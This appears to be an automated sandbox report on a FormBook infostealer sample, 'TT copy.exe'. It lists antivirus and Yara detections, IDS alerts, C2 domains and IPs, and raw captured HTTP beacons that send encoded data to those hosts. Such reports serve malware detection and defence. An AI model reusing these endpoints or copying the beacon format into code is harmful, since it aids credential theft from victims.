Windows Analysis Report
TT copy.exe

Antivirus / Scanner detection for submitted sample

Source: Yara match	File source: 3.0.TT copy.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TT copy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TT copy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: TT copy.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://www.drivetrianrepair.com/umat/?bT7tPLpx=mirGcuiLmtPKrDRAwzy9R4FSSMfuwOXiEO9Msa/shEoIjA842HTgawjSFBDstolWxD5R&Lls=Mzrp	Avira URL Cloud: Label: malware
Source: http://www.sinsegae.net/umat/?bT7tPLpx=D4TTb2HFoQH2akGSEaIGW9Q5orhATJxj88Hz932hPvAyMJtUsfmLZeVWMqqycYkj367i&Lls=Mzrp	Avira URL Cloud: Label: malware
Source: http://www.drivetrianrepair.com/umat/	Avira URL Cloud: Label: malware
Source: http://www.shopcycles3.com/umat/?bT7tPLpx=fN7N1F2KWXt3ovU6r68cyY5Lu6wYlX1654ZBQHzs5x7zh69UEoWjTQ+z2V8zkyyJbLkO&Lls=Mzrp	Avira URL Cloud: Label: malware
Source: http://www.huiyi-sui.com/umat/?bT7tPLpx=0U+wDcNGQqR9Hew/M/CPYn8/YjXw+pI3fQmmix2gP7IpZmdQ6xwgfERw2ruDncdGOHrq&Lls=Mzrp	Avira URL Cloud: Label: malware
Source: http://www.huiyi-sui.com/umat/	Avira URL Cloud: Label: malware
Source: www.drivetrianrepair.com/umat/	Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: TT copy.exe

Joe Sandbox ML: detected

Source: 3.0.TT copy.exe.400000.6.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.TT copy.exe.400000.8.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.TT copy.exe.400000.4.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.2.TT copy.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: TT copy.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: TT copy.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: StreamingContextSta.pdb source: TT copy.exe
Source:	Binary string: wntdll.pdbUGP source: TT copy.exe, 00000003.00000002.358699164.000000000115F000.00000040.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000003.277558771.0000000000D05000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000003.283452054.0000000000EA1000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000002.358500037.0000000001040000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.359728114.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775648086.000000000529F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.352750637.0000000004E4D000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775512023.0000000005180000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: TT copy.exe, TT copy.exe, 00000003.00000002.358699164.000000000115F000.00000040.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000003.277558771.0000000000D05000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000003.283452054.0000000000EA1000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000002.358500037.0000000001040000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, rundll32.exe, 0000000F.00000003.359728114.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775648086.000000000529F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.352750637.0000000004E4D000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775512023.0000000005180000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: TT copy.exe, 00000003.00000002.358458771.0000000000FF0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: TT copy.exe, 00000003.00000002.358458771.0000000000FF0000.00000040.10000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F41670 FindFirstFileW,FindNextFileW,FindClose,		15_2_00F41670
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4166B FindFirstFileW,FindNextFileW,FindClose,		15_2_00F4166B

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 107.187.232.173 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.huiyi-sui.com
Source: C:\Windows\explorer.exe	Domain query: www.sarrafguler.com
Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 18.193.36.153 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.96.162.130 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 198.44.241.20 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 172.16.0.13 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 154.36.145.110 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.pheife.com
Source: C:\Windows\explorer.exe	Domain query: www.sassafrasriver.info
Source: C:\Windows\explorer.exe	Network Connect: 185.254.241.173 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.drivetrianrepair.com
Source: C:\Windows\explorer.exe	Domain query: www.theflysnare.com
Source: C:\Windows\explorer.exe	Network Connect: 162.213.255.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.408wmountain.info
Source: C:\Windows\explorer.exe	Domain query: www.shopcycles3.com
Source: C:\Windows\explorer.exe	Domain query: www.sinsegae.net
Source: C:\Windows\explorer.exe	Domain query: www.huayugw.com

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49780 -> 185.254.241.173:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49780 -> 185.254.241.173:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49780 -> 185.254.241.173:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49786 -> 18.193.36.153:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49786 -> 18.193.36.153:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49786 -> 18.193.36.153:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49893 -> 154.36.145.110:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49893 -> 154.36.145.110:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49893 -> 154.36.145.110:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49896 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49896 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49896 -> 34.102.136.180:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.drivetrianrepair.com/umat/

Source: Joe Sandbox View	ASN Name: EGIHOSTINGUS EGIHOSTINGUS
Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US

Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=D4TTb2HFoQH2akGSEaIGW9Q5orhATJxj88Hz932hPvAyMJtUsfmLZeVWMqqycYkj367i&Lls=Mzrp HTTP/1.1Host: www.sinsegae.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=fN7N1F2KWXt3ovU6r68cyY5Lu6wYlX1654ZBQHzs5x7zh69UEoWjTQ+z2V8zkyyJbLkO&Lls=Mzrp HTTP/1.1Host: www.shopcycles3.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=mirGcuiLmtPKrDRAwzy9R4FSSMfuwOXiEO9Msa/shEoIjA842HTgawjSFBDstolWxD5R&Lls=Mzrp HTTP/1.1Host: www.drivetrianrepair.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=+g+DxeMkQzGDCM6UtLigEqbhHpqmy5i0tcGfeVxiUfs1lW6LnDSR3mKv2Ti+o1fqk+Bj&Lls=Mzrp HTTP/1.1Host: www.408wmountain.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=0U+wDcNGQqR9Hew/M/CPYn8/YjXw+pI3fQmmix2gP7IpZmdQ6xwgfERw2ruDncdGOHrq&Lls=Mzrp HTTP/1.1Host: www.huiyi-sui.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=FnqEmG0l+4J7qDB1yrHJ8vmLGr/EIrLpN16t5uGcZtfyOUhwcz0qzKS8JKDk7Sjhqw7U&Lls=Mzrp HTTP/1.1Host: www.sarrafguler.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=KCFtk2ByPIrj6EQbanamrSzf2WMHsV3o1++x6ahF6LksDSy9FlqjvwWpWYTFvIM6F0DF&Lls=Mzrp HTTP/1.1Host: www.theflysnare.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=2PPXS0ByghwnUiXofzfHcTluxn0kF7CQXUmv2gLgzHNDwPHvxa5MhM39jfYs7JtQ10qs&Lls=Mzrp HTTP/1.1Host: www.huayugw.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 23.227.38.74 23.227.38.74

Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.drivetrianrepair.comConnection: closeContent-Length: 414Cache-Control: no-cacheOrigin: http://www.drivetrianrepair.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.drivetrianrepair.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 70 67 66 38 43 4b 6a 36 75 4e 4c 43 78 45 49 77 6d 33 37 62 45 4e 56 58 59 35 7a 69 79 4b 58 4f 55 37 31 45 31 36 76 6a 6e 6e 59 49 6f 78 67 44 28 69 6a 30 52 31 57 38 56 7a 4c 74 33 4d 52 46 74 44 49 2d 54 76 43 79 4c 5a 32 64 4e 42 4b 79 69 4e 28 31 38 5f 53 31 46 31 50 58 53 69 7e 41 72 58 6e 4f 52 48 42 34 54 2d 6d 71 44 6f 33 69 34 46 4d 4b 53 44 39 34 6c 50 54 71 70 54 4d 7a 4b 79 70 41 30 31 70 73 39 74 56 43 42 2d 43 74 43 56 74 6c 78 79 48 4b 63 79 6b 63 31 59 37 63 57 36 46 35 35 33 36 75 42 37 45 61 33 6b 6c 77 77 53 66 38 47 46 75 75 4f 66 43 77 78 41 45 61 73 77 62 50 6f 53 49 69 39 53 55 56 4a 42 74 36 7e 31 36 37 30 31 4c 53 71 4d 53 4e 4d 57 6d 47 6e 6b 76 5a 34 44 65 59 38 66 31 63 4f 38 61 44 62 43 4e 37 5a 53 4e 53 78 61 41 66 49 66 49 78 36 43 56 77 30 74 72 76 66 4b 6e 36 73 68 59 35 45 6f 69 74 75 70 41 62 4a 78 35 67 70 64 45 45 73 44 73 45 79 4e 55 47 42 35 4b 6d 4b 67 48 4d 6b 6d 7e 6f 70 72 71 59 39 4a 57 36 69 76 6c 45 35 53 50 46 68 76 47 54 31 49 46 53 56 48 51 68 66 63 35 72 52 4c 64 59 55 72 79 52 63 7a 57 59 41 32 6e 59 4b 37 55 43 4b 4d 37 44 45 62 55 78 57 36 54 71 50 5f 28 37 41 41 73 46 46 6d 7e 53 75 55 39 5f 64 6d 62 4c 72 62 62 6e 48 67 4d 4e 32 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=pgf8CKj6uNLCxEIwm37bENVXY5ziyKXOU71E16vjnnYIoxgD(ij0R1W8VzLt3MRFtDI-TvCyLZ2dNBKyiN(18_S1F1PXSi~ArXnORHB4T-mqDo3i4FMKSD94lPTqpTMzKypA01ps9tVCB-CtCVtlxyHKcykc1Y7cW6F5536uB7Ea3klwwSf8GFuuOfCwxAEaswbPoSIi9SUVJBt6~16701LSqMSNMWmGnkvZ4DeY8f1cO8aDbCN7ZSNSxaAfIfIx6CVw0trvfKn6shY5EoitupAbJx5gpdEEsDsEyNUGB5KmKgHMkm~oprqY9JW6ivlE5SPFhvGT1IFSVHQhfc5rRLdYUryRczWYA2nYK7UCKM7DEbUxW6TqP_(7AAsFFm~SuU9_dmbLrbbnHgMN2Q).
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.drivetrianrepair.comConnection: closeContent-Length: 36482Cache-Control: no-cacheOrigin: http://www.drivetrianrepair.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.drivetrianrepair.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 70 67 66 38 43 4b 65 76 71 39 33 62 37 30 4d 54 67 46 37 48 4c 73 6c 52 61 4a 28 35 7e 76 76 34 66 70 63 31 6f 49 6e 30 6d 6d 67 43 69 52 39 68 37 6c 32 6e 52 77 72 53 53 42 76 70 7a 73 56 47 74 44 52 64 54 76 47 79 49 5a 65 4e 4e 6e 57 59 6a 76 6e 36 34 66 54 51 55 46 4f 42 57 6a 69 35 72 58 7a 34 52 45 68 53 54 4f 61 71 44 4c 66 69 7e 48 6b 37 49 54 38 53 35 66 44 32 6e 7a 49 45 4b 79 42 59 30 77 52 73 7e 64 52 43 44 65 79 73 45 55 73 7a 75 43 47 68 4d 43 6c 43 38 34 6e 32 57 36 42 58 35 7a 36 75 43 4f 30 61 6d 6e 74 77 34 42 6e 39 4e 56 75 76 4b 66 43 70 6e 41 34 78 73 32 28 35 6f 54 38 63 38 67 49 56 4c 78 74 75 36 6d 61 4a 6c 57 6a 37 73 4d 6e 76 4d 57 71 76 6e 31 43 47 34 43 79 67 37 74 63 69 42 2d 43 35 62 45 56 46 59 79 4e 65 6a 36 41 2d 49 66 49 37 36 43 56 65 30 74 37 76 66 4c 28 36 39 77 49 35 52 34 69 75 31 70 42 65 54 42 34 6d 74 63 34 75 73 48 41 2d 79 4a 51 77 41 4b 79 6d 4b 78 58 4d 78 56 57 33 68 72 71 65 71 5a 57 39 7a 5f 6c 62 35 53 50 37 68 75 47 44 31 5f 46 53 58 53 38 68 65 35 4e 72 63 62 64 59 66 4c 79 54 56 54 53 49 41 33 50 63 4b 36 6b 53 4b 5f 58 44 45 4a 63 78 57 65 6e 71 4a 50 28 37 5a 77 74 46 4e 6c 76 37 34 48 68 7a 63 6c 54 43 6b 4e 75 7a 48 53 74 41 74 44 39 61 37 75 77 4e 6c 5a 67 75 65 70 54 5a 67 54 31 5a 75 68 43 5f 62 54 54 35 57 33 54 32 44 5f 78 4a 4b 59 46 63 30 32 43 33 5a 46 6c 68 7a 35 30 55 79 2d 65 62 4f 79 4f 55 6f 30 46 74 79 6b 55 52 4f 66 6a 66 4c 73 38 73 70 2d 4f 4d 33 46 6c 35 6e 74 35 53 37 47 41 7a 45 2d 64 41 54 4e 77 4c 50 4c 56 4c 43 4a 66 6d 56 39 52 48 35 32 7e 6f 39 55 44 59 4b 53 63 4c 38 6a 55 58 4a 69 78 4b 6d 6c 42 2d 34 5f 28 54 39 54 62 58 70 77 69 56 62 31 6f 41 53 4b 53 4d 63 71 6f 64 6f 45 39 4c 62 30 37 76 68 74 79 69 55 68 74 5a 4c 78 68 49 74 62 63 4b 72 66 5a 78 4a 51 54 5a 39 6b 41 6f 69 6e 76 77 6d 7a 4c 4b 73 76 56 78 5a 59 67 4d 73 36 56 69 52 54 55 48 36 76 6e 4a 62 62 44 6f 53 54 4e 42 53 6b 62 33 72 79 65 34 56 41 50 38 50 46 56 4f 53 6e 45 36 45 50 65 50 7e 44 73 79 39 47 6c 39 62 4d 31 73 77 46 6b 46 7e 5f 74 67 39 59 45 61 79 6b 46 64 43 58 65 42 4d 30 55 65 4a 71 66 50 65 78 4f 45 4c 55 61 53 33 69 28 30 76 36 45 41 52 58 7a 41 4c 6e 67 56 45 70 56 35 61 35 33 38 4b 47 76 30 72 77 5a 65 34 4f 33 79 35 5a 38 72 4e 33 4b 59 77 4b 43 52 56 39 7e 53 6a 71 39 5f 49 72 6c 47 79 55 39 5f 58 6b 49 77 44 4a 76 43 42 36 49 47 31 6e 53 66 64 35 58 37 50 46 59 49 35 70 77 34 74 42 4b 76 35 72 4f 35 53 38 4d 46 36 70 57 6b 48 50 68 68 38 70 37 55 64 6b 61 74 7e 34 57 44 33 51 32 77 67 30 7a 39 35 59 7e 4b 51 49 69 2d 35 42 6e 65 38
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.408wmountain.infoConnection: closeContent-Length: 414Cache-Control: no-cacheOrigin: http://www.408wmountain.infoUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.408wmountain.info/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 78 69 4b 35 76 36 74 58 55 44 75 69 56 74 48 44 33 4c 6e 42 63 4e 50 54 42 6f 44 36 28 5a 32 75 33 37 28 47 61 30 39 54 64 73 38 33 72 47 36 71 31 69 66 31 35 77 50 4d 32 78 53 43 30 42 61 42 28 76 6f 47 64 5f 45 65 4f 6c 4f 71 73 6d 6e 4a 32 2d 52 4d 61 33 52 62 37 39 63 33 39 31 47 5a 4e 70 36 41 64 5a 78 44 39 69 6a 38 4e 48 37 4b 79 5f 47 63 54 4b 69 38 67 4f 4f 43 65 31 54 61 35 46 71 50 77 71 38 4d 73 49 32 57 67 38 4e 42 4a 36 72 66 48 44 43 58 6b 75 4a 32 32 4d 4f 46 7a 4d 44 47 67 35 77 6a 4f 68 4d 4e 48 6b 38 69 42 4e 55 56 7e 46 4a 61 46 4d 52 62 74 62 67 54 48 43 7e 42 69 37 52 72 6e 6f 41 70 37 4f 71 56 6c 6d 45 52 7a 41 43 48 4e 57 43 6e 79 6b 39 6e 78 51 57 37 6f 58 77 6b 4c 34 6d 32 78 37 4b 4c 64 6b 65 4a 75 39 57 42 51 62 67 52 4b 43 72 58 48 75 4d 52 57 59 47 39 53 6f 59 52 43 43 6f 61 4c 76 35 4a 55 73 59 42 30 45 54 76 49 41 32 69 45 6b 74 4b 44 69 6c 74 4c 69 4a 4b 67 45 49 4e 46 2d 73 58 63 54 32 66 78 51 37 69 32 48 6d 4e 58 6e 42 57 7e 51 7a 57 5a 66 77 62 44 64 32 6d 7a 42 38 33 61 56 57 30 62 66 78 76 44 48 78 30 77 38 41 2d 6e 32 47 66 77 4d 50 76 5a 49 37 59 67 77 48 4a 41 54 39 49 48 4a 39 4d 53 6f 4c 2d 78 57 7e 70 57 4d 53 7a 72 57 46 47 50 75 36 34 53 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=xiK5v6tXUDuiVtHD3LnBcNPTBoD6(Z2u37(Ga09Tds83rG6q1if15wPM2xSC0BaB(voGd_EeOlOqsmnJ2-RMa3Rb79c391GZNp6AdZxD9ij8NH7Ky_GcTKi8gOOCe1Ta5FqPwq8MsI2Wg8NBJ6rfHDCXkuJ22MOFzMDGg5wjOhMNHk8iBNUV~FJaFMRbtbgTHC~Bi7RrnoAp7OqVlmERzACHNWCnyk9nxQW7oXwkL4m2x7KLdkeJu9WBQbgRKCrXHuMRWYG9SoYRCCoaLv5JUsYB0ETvIA2iEktKDiltLiJKgEINF-sXcT2fxQ7i2HmNXnBW~QzWZfwbDd2mzB83aVW0bfxvDHx0w8A-n2GfwMPvZI7YgwHJAT9IHJ9MSoL-xW~pWMSzrWFGPu64Sw).
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.408wmountain.infoConnection: closeContent-Length: 36482Cache-Control: no-cacheOrigin: http://www.408wmountain.infoUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.408wmountain.info/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 78 69 4b 35 76 2d 73 4f 66 6a 7a 79 57 39 4c 67 35 64 6a 76 46 74 28 56 48 59 47 36 31 35 61 59 7a 4a 48 34 48 6c 4e 48 63 74 45 39 76 32 6d 4c 6d 77 76 54 35 78 7e 6f 73 53 32 47 7e 42 65 41 28 76 77 6b 64 5f 49 65 50 68 7a 76 73 46 65 63 32 59 4e 50 57 33 52 6a 36 39 63 2d 73 41 6e 4c 4e 70 76 76 64 5a 35 54 38 52 48 38 50 68 28 4b 6c 75 47 58 63 4b 6a 33 73 71 54 64 42 6c 66 39 35 46 43 74 77 6f 6f 4d 73 34 79 57 6d 64 64 43 4c 35 7a 59 4b 7a 43 57 68 75 4a 6a 74 64 79 37 7a 4d 48 65 67 39 77 6a 50 54 34 4e 47 33 30 69 57 4f 73 55 32 56 4a 43 42 4d 52 63 38 4c 73 43 48 43 69 4e 69 36 6b 65 6d 61 63 70 70 4f 71 51 7a 58 41 6a 28 33 75 51 4c 58 6d 2d 79 6b 35 4f 78 6b 50 6d 6f 57 64 48 44 75 69 4e 7e 2d 6d 6c 64 69 76 53 6f 64 57 46 49 72 67 77 4b 43 72 33 48 75 4d 5f 57 59 32 39 53 75 59 52 44 68 67 61 4f 50 35 4b 61 38 59 62 7a 45 53 39 4d 41 79 59 45 67 41 45 44 6a 64 58 4d 58 4a 4b 69 56 59 4e 51 4e 55 51 46 44 32 64 6e 67 37 39 39 6e 6d 4f 58 6e 42 67 7e 52 79 4c 61 73 45 62 41 73 32 6d 7e 43 45 33 57 46 57 30 55 5f 78 70 59 33 73 78 77 38 34 36 6e 33 33 69 78 2d 6a 76 5a 64 76 59 67 52 48 4a 44 6a 39 49 4c 70 38 65 56 34 32 4b 28 58 6a 49 65 4d 65 6a 6b 44 55 79 47 36 7a 44 4b 37 51 6b 49 52 59 51 48 30 67 32 50 45 4b 33 69 46 59 36 54 77 37 50 47 51 73 51 64 55 42 51 4d 50 42 54 58 74 78 62 48 61 6c 62 30 66 51 72 30 35 58 7a 55 46 56 33 33 66 32 61 72 4f 28 6d 56 65 45 58 55 54 62 43 7e 45 79 30 34 49 42 52 32 66 33 72 79 4c 54 43 4a 62 28 2d 30 4f 57 35 44 2d 58 58 35 45 58 6a 52 73 32 70 30 52 50 42 54 78 53 68 62 6b 34 53 44 45 39 5a 65 4e 45 63 75 7a 7a 46 33 78 69 49 73 6b 6d 42 4f 37 7e 59 7a 45 77 6a 35 31 75 79 77 67 5a 6f 71 58 70 63 6a 34 46 49 72 4d 66 5a 66 44 67 47 58 36 32 77 42 35 6c 64 41 42 35 58 37 7a 4a 46 56 63 53 50 4b 46 28 44 65 72 43 35 50 43 77 4e 62 51 57 79 42 51 46 45 31 77 4d 52 39 58 77 4b 4d 57 74 78 42 41 44 50 37 6d 4d 62 4d 61 77 53 28 46 56 62 68 32 57 35 61 64 71 66 53 41 66 6a 61 7a 6c 6a 6e 71 6b 54 50 47 74 56 55 53 61 38 70 37 49 63 38 65 6a 2d 35 59 4a 76 72 55 75 55 6c 30 4b 65 6e 66 63 63 6a 4f 36 4f 53 51 72 76 56 37 77 35 59 47 57 56 46 61 50 6e 6e 65 4b 53 34 4d 51 75 4d 70 70 45 49 72 4e 4a 28 38 35 46 72 32 4f 32 77 38 46 45 28 50 67 54 41 4c 75 5f 77 58 39 4c 79 68 4f 7a 69 71 72 62 52 2d 63 64 46 33 69 4c 58 72 55 46 76 48 78 50 41 33 5a 43 67 37 4d 38 45 69 50 32 4d 43 77 37 42 65 69 33 35 30 45 70 65 52 58 34 6d 4b 54 79 75 79 7e 32 45 35 41 49 41 53 64 48 6d 48 6e 56 48 76 7e 77 4f 70 79 7a 38 37 56 33 52 6b 77 76 53 59 31 32 70 77 75 5f 61 6e 57 63
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.huiyi-sui.comConnection: closeContent-Length: 414Cache-Control: no-cacheOrigin: http://www.huiyi-sui.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.huiyi-sui.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 37 57 4b 4b 64 35 46 45 55 64 5a 6f 58 66 42 41 57 37 66 37 49 41 6b 6c 62 42 7a 77 35 71 6b 4b 43 33 7a 51 78 42 50 5f 50 5a 41 33 54 31 64 38 79 42 4e 71 4d 51 4d 39 31 35 57 69 30 4e 46 73 4a 6c 71 67 68 42 41 59 49 45 32 78 42 66 52 64 44 48 7e 77 76 30 52 68 75 35 43 70 45 76 77 30 47 4c 32 79 54 39 76 4f 62 6c 48 56 31 39 31 43 75 64 71 4c 77 32 7e 48 76 55 48 50 42 31 56 34 51 4e 68 31 73 39 44 53 73 69 69 4f 32 37 28 61 73 49 65 4d 5a 77 6f 50 74 45 59 54 63 70 33 75 76 67 46 4c 6e 6c 79 30 67 74 48 55 55 36 67 4d 62 65 42 5f 38 36 78 34 61 4f 33 37 34 2d 52 61 4c 6a 72 70 39 49 34 73 76 4f 65 36 28 56 4a 69 77 7a 4d 5f 6b 4b 47 37 4d 32 6d 4b 69 67 69 55 35 37 48 78 77 66 6b 6a 46 46 4b 6d 56 67 73 70 6e 57 37 39 36 54 34 62 28 41 71 4a 57 4d 54 6b 48 36 71 61 71 6a 4f 41 33 36 45 4d 4d 38 58 79 49 38 33 6d 30 4e 79 50 7e 6e 33 53 4c 43 49 4a 4d 63 79 54 41 59 34 55 5a 49 38 77 39 4c 53 4c 61 5a 4c 53 55 33 51 2d 35 34 67 52 77 6c 79 49 51 75 44 54 4f 52 43 44 52 39 53 66 66 4d 54 39 39 41 56 54 37 55 7e 66 52 55 4f 41 68 6b 64 66 44 6f 64 6b 58 61 39 54 49 4b 30 4c 6d 5a 54 70 48 6f 50 66 64 39 64 38 31 45 6a 33 32 5a 49 6e 37 43 53 69 72 50 50 77 59 61 32 55 35 4e 6d 55 39 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 